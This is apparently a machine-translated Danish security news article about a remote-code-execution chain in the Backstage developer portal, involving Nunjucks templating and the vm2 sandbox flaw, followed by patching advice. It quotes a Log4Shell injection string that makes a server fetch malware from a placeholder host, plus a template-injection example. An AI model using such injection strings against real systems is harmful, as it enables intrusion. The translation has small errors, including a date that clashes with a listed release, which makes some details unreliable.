Log4Shell-lignende kodeudførelseshul i det populære Backstage-udviklerværktøj

Forskere hos cloud-kodningssikkerhedsfirmaet Oxeye har skrevet en kritisk fejl, som de for nylig opdagede i det populære cloud-udviklingsværktøj Backstage.

Deres indberette indeholder en forklaring på, hvordan fejlen fungerer, plus proof-of-concept (PoC) kode, der viser, hvordan man udnytter den.

Backstage er det, der er kendt som en cloud-udviklerportal – en slags forretningslogik-backend, der gør det nemt at bygge webbaserede API'er (applikationsprogrammeringsgrænseflader) for at tillade kodere i og uden for din virksomhed at interagere med dine onlinetjenester.

Med selve projektets ord, oprindeligt oprettet på Spotify, men nu åben kode på GutHub:

Backstage er en åben platform til at bygge udviklerportaler. Drevet af et centraliseret softwarekatalog genopretter Backstage orden i dine mikrotjenester og infrastruktur og gør det muligt for dine produktteams at sende højkvalitetskode hurtigt - uden at gå på kompromis med autonomien.

Backstage forener alle dine infrastrukturværktøjer, tjenester og dokumentation for at skabe et strømlinet udviklingsmiljø fra ende til anden.

Nej, vi ved heller ikke rigtigt, hvad det betyder, men vi ved, at værktøjssættet er skrevet i JavaScript, kører ved hjælp af JavaScript-systemet på serversiden node.js, og trækker et net af forsyningskædeafhængigheder fra NPM-økosystemet.

NPM er en forkortelse for Node pakkehåndtering, et automatiseret værktøjssæt til at sikre, at din back-end JavaScript-kode nemt kan gøre brug af en lang række open source-biblioteker, der leverer populære, forudskrevne hjælpeværktøjer til alt fra kryptografi og databasestyring til logning og versionskontrol.

Fjernkørsel af kode

Desværre kunne den fejl, der blev afsløret i dag, hvis den ikke er patchet, give uautoriserede outsidere (løst, alle, der kan oprette API-forbindelser til dine servere) en måde at udløse fjernudførelse af kode (RCE) inde i business-logic-serverne på dit netværk.

Men heldigvis, hvis vi har fortolket Oxeyes opskrivning korrekt, afhænger det angreb, de beskriver for deres Backstage RCE, af en sekvens af kodningsfejl, der i sidste ende afhænger af en specifik fejl, der er udpeget CVE-2022-36067 i en forsyningskædekomponent, som Backstage er afhængig af kaldet vm2.

Hvis du undrer dig, er vm2 et generelt NPM-modul, der implementerer en "virtuel maskinsandkasse", der har til formål at gøre potentielt risikabelt JavaScript en smule mere sikkert at køre på dine servere.

Den CVE-2022-36067 fejl i vm2 var rapporteret tilbage i august 2022 af Oxeye selv (som gav det et PR-venligt navn "Sandbreak", fordi det brød ud af sandkassen), og lappet omgående af vm2-teamet for næsten tre måneder siden.

Så så vidt vi kan se, hvis du er en Backstage-bruger, vil du gerne sikre dig, at du har patchet alle risikokomponenter i din Backstage-opsætning...

…men hvis du patchede vm2-komponenten, der var sårbar over for Sandbreak for alle de måneder siden, så ser det ud til, at du ikke er direkte sårbar over for den udnyttelse, der er beskrevet i Oxeyes seneste afsløring.

Desuden, hvis dine Backstage-servere er konfigureret som gode retningslinjer for cybersikkerhed ville foreslå, med godkendelse påkrævet ved både netværkskanten og inde i netværket, vil du ikke være i fare for tilfældige "kun til forskerformål"-sonder fra "hjælpsomme" personer, der er bestemt at vise, at de er interesserede i cybertrussel "forskning".

Et "Emmentaler ost" angreb

Enkelt sagt er de nyligt afslørede sikkerhedsproblemer bivirkningen af ​​en række sikkerhedsproblemer, såsom huller i skiver af Emmenthal-ost, der kan gennemtrænges i rækkefølge, hvis en angriber er i stand til at opstille mindst et hul på hver skive.

Som vi forstår det, inkluderer Backstage en komponent kaldet Scaffolder, som, som navnet antyder, hjælper dig med at administrere de forskellige tilføjelser (kendt som plugins), som dit udviklerfællesskab måtte ønske eller have brug for.

Scaffolder bruger til gengæld et meddelelseslogningssystem fra Mozilla kendt som Nunjucks, som omfatter det, der er kendt som strengskabelon in node.js cirkler, som strenginterpolation i Java-verdenen, og som streng substitution til sysadmins, der bruger kommandoskaller såsom Bash.

Hvis strenginterpolation ringer en klokke, er det sandsynligvis fordi den lå i hjertet af Log4Shell sårbarhed tilbage i december 2021, og af Follina fejl i midten af ​​2022.

Det er her, du kommer til at omskrive indholdet af en logningsbesked baseret på specielle “kodningstegn” i en strengskabelon, så en streng som f.eks. $USER kan erstattes med det kontonavn, der bruges af serveren, eller ${PID} kan hente det aktuelle proces-id.

I det ekstreme tilfælde af Log4Shell, den nysgerrigt udseende besværgelse ${jndi:ldap://example.com:8888/malware} direkte kunne narre serveren til at downloade et program kaldet malware fra example.com og lydløst kører det i baggrunden.

Med andre ord skal du være helt sikker på, at data, der kommer fra en ikke-pålidelig kilde, såsom en ekstern bruger, aldrig sendes blindt ind i en strengskabelon eller strenginterpolationsfunktion, der skal bruges som selve skabelonteksten.

Hvis en fjernbruger, for eksempel, forsøger at narre din server ved at give deres brugernavn som ${{RISKY}} (forudsat at skabelonbiblioteket bruger ${{...}} som dens specielle markør), skal du sikre dig, at din logkode korrekt registrerer den frække tekst bogstaveligt, som den blev modtaget...

…i stedet for at lade teksten, der logges, tage kontrol over selve logningsfunktionen!

Med ordene fra et gammelt børnerim skal du sikre dig, at du ikke ender med at synge: "Der er et hul i min ${{BUCKET}}, kære Liza, kære Liza, der er et hul i min ${{BUCKET}}, kære Liza. Et hul!"

Indpakket i et sikkerhedstæppe

For at være retfærdig er Nunjucks måske for kraftige skabelon-/interpolationsfunktionalitet pakket af Backstage i endnu en forsyningskædekomponent, nemlig det førnævnte sandboxing-system vm2, som formodes at begrænse faren, som en ondsindet bruger kan gøre med booby -indfangede inputdata.

Desværre var Oxeye-forskere i stand til at parre deres nyopdagede strengskabelonkodeudløsende stier i Backstage + Scaffolder + Nunjucks med den ældre CVE-2022-36067 sårbarhed i vm2-sikkerhedsindpakningen for at opnå potentiel fjernudførelse af kode på en Backstage-server .

Hvad skal jeg gøre?

Hvis du er backstage-bruger:

• Sørg for, at du har de seneste versioner af Backstage og dets afhængigheder, herunder plugin-scaffolder-backend komponent. Ifølge Oxeye blev de relevante fejl i Backstage-koden rettet senest den 01. september 2022, så enhver officiel punktudgivelse efter disse data skulle indeholde rettelserne. I skrivende stund [2022-11-1T16:00Z], inkluderer det Backstage 1.6.0, 1.7.0 , 1.8.0, udgivet henholdsvis 2022-09-21, 2022-10-18 og 2022-11-15.
• Tjek, at din Backstage-installation har godkendelse konfigureret, som du forventer. Oxeye hævder, at godkendelse er slået fra som standard, og at efter at have fulgt Backstage retningslinjer, tillod backend-servere (som sandsynligvis ikke skal eksponeres eksternt alligevel) stadig uautoriseret adgang. Det kan være, hvad du ønsker, men vi anbefaler at bruge dette problem som en grund til at kontrollere, at din opsætning matcher dine intentioner.
• Tjek hvilke dele af din Backstage-infrastruktur, der kan nås fra internettet. Endnu en gang, brug dette problem som en grund til at scanne dit eget netværk udefra, hvis du ikke har gjort det for nylig.

Hvis du er node.js/NPM-bruger:

• Sørg for, at du har den seneste version af vm2 sandbox-komponenten. Du kan have dette installeret som en afhængighed af anden software, du bruger, selvom du ikke har Backstage. CVE-2022-36067 sårbarheden blev rettet den 2022-08-28, så du vil have vm2 version 3.9.11 eller senere.

Hvis du er programmør:

• Vær så defensiv som du kan, når du kalder kraftfulde logningsfunktioner. Hvis du bruger en logningstjeneste (inklusive Nunjucks eller Log4J), der inkluderer kraftfulde skabelon-/interpolationsfunktioner, skal du slå alle funktioner fra, du ikke har brug for, så de ikke kan udnyttes ved en fejl. Sørg for, at input, der ikke er tillid til, aldrig selv bruges som skabelon, og forhindrer således angribere i at rulle deres egne direkte farlige inputstrenge.
• Uanset andre forholdsregler, skal du rense dine login- og udgange. Husk, at en anden skal åbne dine logfiler i fremtiden. Tillad ikke, at nogen utilsigtede booby-fælder bliver skrevet ind i din logfil, hvor de kan forårsage problemer senere, såsom HTML-fragmenter med script-tags tilbage i. (Nogen kan åbne filen i en browser ved en fejltagelse).

Selv når du modtager input fra en betroet kilde, er der sjældent nogen grund til ikke at lade det gennem dine egne desinficeringstjek, før du bruger det.

(Du kan lejlighedsvis retfærdiggøre en undtagelse, for eksempel af præstationsmæssige årsager, men det bør være en undtagelse, ikke reglen).

For det første hjælper tjek igen dig med at opdage fejl, som tidligere kodere kan have lavet i god tro; for det andet hjælper det med at begrænse spredningen af ​​dårlige eller booby-fangede data, hvis en anden del af dit økosystem bliver kompromitteret.

Sagen med de skiver Emmenthal ost, vi nævnte tidligere, er, at selvom de er gennemtrængelige, hvis mindst et hul er på linje på hvert ark...

…de er uigennemtrængelige, hvis der er mindst et ark med huller, der slet ikke er på linje!

---